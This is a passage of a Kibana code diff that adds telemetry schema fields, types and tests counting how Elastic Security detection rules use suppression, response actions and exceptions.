'long', + _meta: { + description: + 'Number of custom machine_learning rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: + 'Number of custom machine_learning rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: + 'Number of custom machine_learning rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: + 'Number of custom machine_learning rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of custom machine_learning rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom machine_learning rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom machine_learning rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom ML rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom ML rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom ML rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within custom ML rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom ML rules with exceptions' }, + }, + }, + threat_match: { + enabled: { + type: 'long', + _meta: { description: 'Number of threat_match rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of threat_match rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by threat_match rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to threat_match detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled threat_match rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled threat_match rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of threat_match rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of threat_match rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of threat_match rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of threat_match rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of threat_match rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of threat_match rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of threat_match rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled threat match rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled threat match rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within threat match rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within threat match rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of threat match rules with exceptions' }, + }, + }, + threat_match_custom: { + enabled: { + type: 'long', + _meta: { description: 'Number of custom threat_match rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of custom threat_match rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom threat_match rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to custom threat_match detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom IM rules with legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom IM rules with legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom IM rules with notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom IM rules with notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom IM rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom threat_match rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom threat_match rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom threat_match rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: + 'Number of enabled custom threat match rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: + 'Number of disabled custom threat match rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom threat match rules', + }, + }, + osquery: { + type: 'long', + _meta: { + description: 'Number of osquery response actions within custom threat match rules', + }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom threat match rules with exceptions' }, + }, + }, + new_terms: { + enabled: { + type: 'long', + _meta: { description: 'Number of new_terms rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of new_terms rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by new_terms rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to new_terms detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled new_terms rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled new_terms rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of new_terms rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of new_terms rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of new_terms rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of new_terms rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of new_terms rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of new_terms rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of new_terms rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled new terms rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled new terms rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within new terms rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within new terms rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of New Terms rules with exceptions' }, + }, + }, + new_terms_custom: { + enabled: { + type: 'long', + _meta: { description: 'Number of custom new_terms rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of custom new_terms rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom new_terms rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to custom new_terms detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom New Terms rules with legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom New Terms rules with legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom New Terms rules with notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom New Terms rules with notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom New Terms rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom new_terms rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom new_terms rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of custom new_terms rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of custom new_terms rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of custom new_terms rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: + 'Number of custom new_terms rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: + 'Number of custom new_terms rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom new_terms rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom new_terms rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom new terms rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom new terms rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom new terms rules', + }, + }, + osquery: { + type: 'long', + _meta: { + description: 'Number of osquery response actions within custom new terms rules', + }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom New Terms rules with exceptions' }, + }, + }, + esql: { + enabled: { + type: 'long', + _meta: { description: 'Number of esql rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of esql rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by esql rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to esql detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled esql rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled esql rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of esql rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of esql rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of esql rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of esql rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of esql rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: 'Number of esql rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: 'Number of esql rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled ES|QL rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled ES|QL rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within ES|QL rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within ES|QL rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of ES|QL rules with exceptions' }, + }, + }, + esql_custom: { + enabled: { + type: 'long', + _meta: { description: 'Number of custom esql rules enabled' }, + }, + disabled: { + type: 'long', + _meta: { description: 'Number of custom esql rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom esql rules' }, + }, + cases: { + type: 'long', + _meta: { + description: 'Number of cases attached to custom esql detection rule alerts', + }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom ES|QL rules with legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom ES|QL rules with legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of custom ES|QL rules with notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of custom ES|QL rules with notifications disabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of custom ES|QL rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom esql rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom esql rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of custom esql rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of custom esql rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of custom esql rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of custom esql rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of custom esql rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom esql rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom esql rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom ES|QL rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom ES|QL rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom ES|QL rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within custom ES|QL rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom ES|QL rules with exceptions' }, + }, + }, + elastic_total: { + enabled: { type: 'long', _meta: { description: 'Number of elastic rules enabled' } }, + disabled: { + type: 'long', + _meta: { description: 'Number of elastic rules disabled' }, + }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by elastic rules' }, + }, + cases: { + type: 'long', + _meta: { description: 'Number of cases attached to elastic detection rule alerts' }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled elastic rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled elastic rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of elastic rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of elastic rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of elastic rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of elastic rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of elastic rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: 'Number of elastic rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of elastic rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled prebuilt rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled prebuilt rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within prebuilt rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within prebuilt rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of prebuilt rules with exceptions' }, + }, + }, + custom_total: { + enabled: { type: 'long', _meta: { description: 'Number of custom rules enabled' } }, + disabled: { type: 'long', _meta: { description: 'Number of custom rules disabled' } }, + alerts: { + type: 'long', + _meta: { description: 'Number of alerts generated by custom rules' }, + }, + cases: { + type: 'long', + _meta: { description: 'Number of cases attached to custom detection rule alerts' }, + }, + legacy_notifications_enabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications enabled' }, + }, + legacy_notifications_disabled: { + type: 'long', + _meta: { description: 'Number of legacy notifications disabled' }, + }, + notifications_enabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + notifications_disabled: { + type: 'long', + _meta: { description: 'Number of notifications enabled' }, + }, + legacy_investigation_fields: { + type: 'long', + _meta: { + description: + 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', + }, + }, + alert_suppression: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom rules configured with suppression', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom rules configured with suppression', + }, + }, + suppressed_fields_count: { + one: { + type: 'long', + _meta: { + description: 'Number of custom rules configured with one suppression field', + }, + }, + two: { + type: 'long', + _meta: { + description: 'Number of custom rules configured with two suppression field', + }, + }, + three: { + type: 'long', + _meta: { + description: 'Number of custom rules configured with three suppression field', + }, + }, + }, + suppressed_per_time_period: { + type: 'long', + _meta: { + description: 'Number of custom rules configured with suppression per time period', + }, + }, + suppressed_per_rule_execution: { + type: 'long', + _meta: { + description: 'Number of custom rules configured with suppression per rule execution', + }, + }, + suppresses_missing_fields: { + type: 'long', + _meta: { + description: 'Number of custom rules configured to suppress alerts with missing fields', + }, + }, + does_not_suppress_missing_fields: { + type: 'long', + _meta: { + description: + 'Number of custom rules configured do not suppress alerts with missing fields', + }, + }, + }, + response_actions: { + enabled: { + type: 'long', + _meta: { + description: 'Number of enabled custom rules configured with response actions', + }, + }, + disabled: { + type: 'long', + _meta: { + description: 'Number of disabled custom rules configured with response actions', + }, + }, + response_actions: { + endpoint: { + type: 'long', + _meta: { + description: 'Number of endpoint response actions within custom rules', + }, + }, + osquery: { + type: 'long', + _meta: { description: 'Number of osquery response actions within custom rules' }, + }, + }, + }, + has_exceptions: { + type: 'long', + _meta: { description: 'Number of custom rules with exceptions' }, + }, + }, +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/prebuilt_rule_detail.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/prebuilt_rule_detail.ts new file mode 100644 index 0000000000000..ab03b53986cb4 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/prebuilt_rule_detail.ts @@ -0,0 +1,96 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { MakeSchemaFrom } from '@kbn/usage-collection-plugin/server'; +import type { RuleMetric } from '../types'; + +export const ruleMetricsSchema: MakeSchemaFrom = { + rule_name: { + type: 'keyword', + _meta: { description: 'The name of the detection rule' }, + }, + rule_id: { + type: 'keyword', + _meta: { description: 'The UUID id of the detection rule' }, + }, + rule_type: { + type: 'keyword', + _meta: { description: 'The type of detection rule. ie eql, query...' }, + }, + rule_version: { type: 'long', _meta: { description: 'The version of the rule' } }, + enabled: { + type: 'boolean', + _meta: { description: 'If the detection rule has been enabled by the user' }, + }, + elastic_rule: { + type: 'boolean', + _meta: { description: 'If the detection rule has been authored by Elastic' }, + }, + created_on: { + type: 'keyword', + _meta: { description: 'When the detection rule was created on the cluster' }, + }, + updated_on: { + type: 'keyword', + _meta: { description: 'When the detection rule was updated on the cluster' }, + }, + alert_count_daily: { + type: 'long', + _meta: { description: 'The number of daily alerts generated by a rule' }, + }, + cases_count_total: { + type: 'long', + _meta: { description: 'The number of total cases generated by a rule' }, + }, + has_legacy_notification: { + type: 'boolean', + _meta: { description: 'True if this rule has a legacy notification' }, + }, + has_notification: { + type: 'boolean', + _meta: { description: 'True if this rule has a notification' }, + }, + has_legacy_investigation_field: { + type: 'boolean', + _meta: { description: 'True if this rule has a legacy investigation field' }, + }, + has_alert_suppression_missing_fields_strategy_do_not_suppress: { + type: 'boolean', + _meta: { + description: + 'True if this rule has alert suppression missing fields strategy do not suppress', + }, + }, + has_alert_suppression_per_rule_execution: { + type: 'boolean', + _meta: { description: 'True if this rule has alert suppression per rule execution' }, + }, + has_alert_suppression_per_time_period: { + type: 'boolean', + _meta: { description: 'True if this rule has alert suppression per time period' }, + }, + alert_suppression_fields_count: { + type: 'long', + _meta: { description: 'The number of alert suppression fields for this rule' }, + }, + has_response_actions: { + type: 'boolean', + _meta: { description: 'True if this rule has response actions' }, + }, + has_response_actions_endpoint: { + type: 'boolean', + _meta: { description: 'True if this rule has endpoint response actions' }, + }, + has_response_actions_osquery: { + type: 'boolean', + _meta: { description: 'True if this rule has osquery response actions' }, + }, + has_exceptions: { + type: 'boolean', + _meta: { description: 'True if this rule has exceptions' }, + }, +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/transform_utils/get_rule_object_correlations.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/transform_utils/get_rule_object_correlations.ts index 530bf2fd1f160..6c3e871b6fef5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/transform_utils/get_rule_object_correlations.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/transform_utils/get_rule_object_correlations.ts @@ -73,6 +73,8 @@ export const getRuleObjectCorrelations = ({ has_alert_suppression_missing_fields_strategy_do_not_suppress: hasAlertSuppressionMissingFieldsStrategyDoNotSuppress, alert_suppression_fields_count: alertSuppressionFieldsCount, + has_exceptions: + attributes.params.exceptionsList != null && attributes.params.exceptionsList.length > 0, has_response_actions: hasResponseActions, has_response_actions_endpoint: hasResponseActionsEndpoint, has_response_actions_osquery: hasResponseActionsOsquery, diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/types.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/types.ts index f944b5b9df64f..7e9eec0bcf9e5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/types.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/types.ts @@ -39,19 +39,27 @@ export interface FeatureTypeUsage { notifications_disabled: number; legacy_investigation_fields: number; alert_suppression: AlertSuppressionUsage; + has_exceptions: number; response_actions: ResponseActionsUsage; } export interface RulesTypeUsage { query: FeatureTypeUsage; + query_custom: FeatureTypeUsage; threshold: FeatureTypeUsage; + threshold_custom: FeatureTypeUsage; eql: FeatureTypeUsage; + eql_custom: FeatureTypeUsage; machine_learning: FeatureTypeUsage; + machine_learning_custom: FeatureTypeUsage; threat_match: FeatureTypeUsage; + threat_match_custom: FeatureTypeUsage; new_terms: FeatureTypeUsage; + new_terms_custom: FeatureTypeUsage; elastic_total: FeatureTypeUsage; custom_total: FeatureTypeUsage; esql: FeatureTypeUsage; + esql_custom: FeatureTypeUsage; } export interface SpacesUsage { @@ -84,6 +92,7 @@ export interface RuleMetric { has_alert_suppression_per_time_period: boolean; has_alert_suppression_missing_fields_strategy_do_not_suppress: boolean; alert_suppression_fields_count: number; + has_exceptions: boolean; has_response_actions: boolean; has_response_actions_endpoint: boolean; has_response_actions_osquery: boolean; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.test.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.test.ts index f2e075d0150f8..0cd7d57c535f8 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/update_usage.test.ts @@ -22,6 +22,7 @@ interface StubRuleOptions { hasAlertSuppressionPerRuleExecution: boolean; hasAlertSuppressionPerTimePeriod: boolean; alertSuppressionFieldsCount: number; + hasExceptions: boolean; hasResponseActions: boolean; hasResponseActionsEndpoint: boolean; hasResponseActionsOsquery: boolean; @@ -40,6 +41,7 @@ const createStubRule = ({ hasAlertSuppressionPerRuleExecution, hasAlertSuppressionPerTimePeriod, alertSuppressionFieldsCount, + hasExceptions, hasResponseActions, hasResponseActionsEndpoint, hasResponseActionsOsquery, @@ -62,6 +64,7 @@ const createStubRule = ({ has_alert_suppression_per_rule_execution: hasAlertSuppressionPerRuleExecution, has_alert_suppression_per_time_period: hasAlertSuppressionPerTimePeriod, alert_suppression_fields_count: alertSuppressionFieldsCount, + has_exceptions: hasExceptions, has_response_actions: hasResponseActions, has_response_actions_endpoint: hasResponseActionsEndpoint, has_response_actions_osquery: hasResponseActionsOsquery, @@ -83,6 +86,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: true, hasAlertSuppressionPerTimePeriod: false, alertSuppressionFieldsCount: 3, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -114,6 +118,7 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 0, suppresses_missing_fields: 1, }, + has_exceptions: 1, response_actions: { enabled: 0, disabled: 0, @@ -146,6 +151,7 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 0, suppresses_missing_fields: 1, }, + has_exceptions: 1, response_actions: { enabled: 0, disabled: 0, @@ -172,6 +178,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: false, hasAlertSuppressionPerTimePeriod: false, alertSuppressionFieldsCount: 0, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -189,6 +196,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: false, hasAlertSuppressionPerTimePeriod: false, alertSuppressionFieldsCount: 0, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -206,6 +214,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: false, hasAlertSuppressionPerTimePeriod: true, alertSuppressionFieldsCount: 2, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -223,6 +232,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: false, hasAlertSuppressionPerTimePeriod: true, alertSuppressionFieldsCount: 2, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -240,6 +250,7 @@ describe('Detections Usage and Metrics', () => { hasAlertSuppressionPerRuleExecution: false, hasAlertSuppressionPerTimePeriod: false, alertSuppressionFieldsCount: 0, + hasExceptions: true, hasResponseActions: false, hasResponseActionsEndpoint: false, hasResponseActionsOsquery: false, @@ -276,6 +287,7 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 2, suppresses_missing_fields: 0, }, + has_exceptions: 2, response_actions: { enabled: 0, disabled: 0, @@ -308,6 +320,7 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 0, suppresses_missing_fields: 0, }, + has_exceptions: 3, response_actions: { enabled: 0, disabled: 0, @@ -340,6 +353,7 @@ describe('Detections Usage and Metrics', () => { suppressed_per_time_period: 0, suppresses_missing_fields: 0, }, + has_exceptions: 1, response_actions: { enabled: 0, disabled: 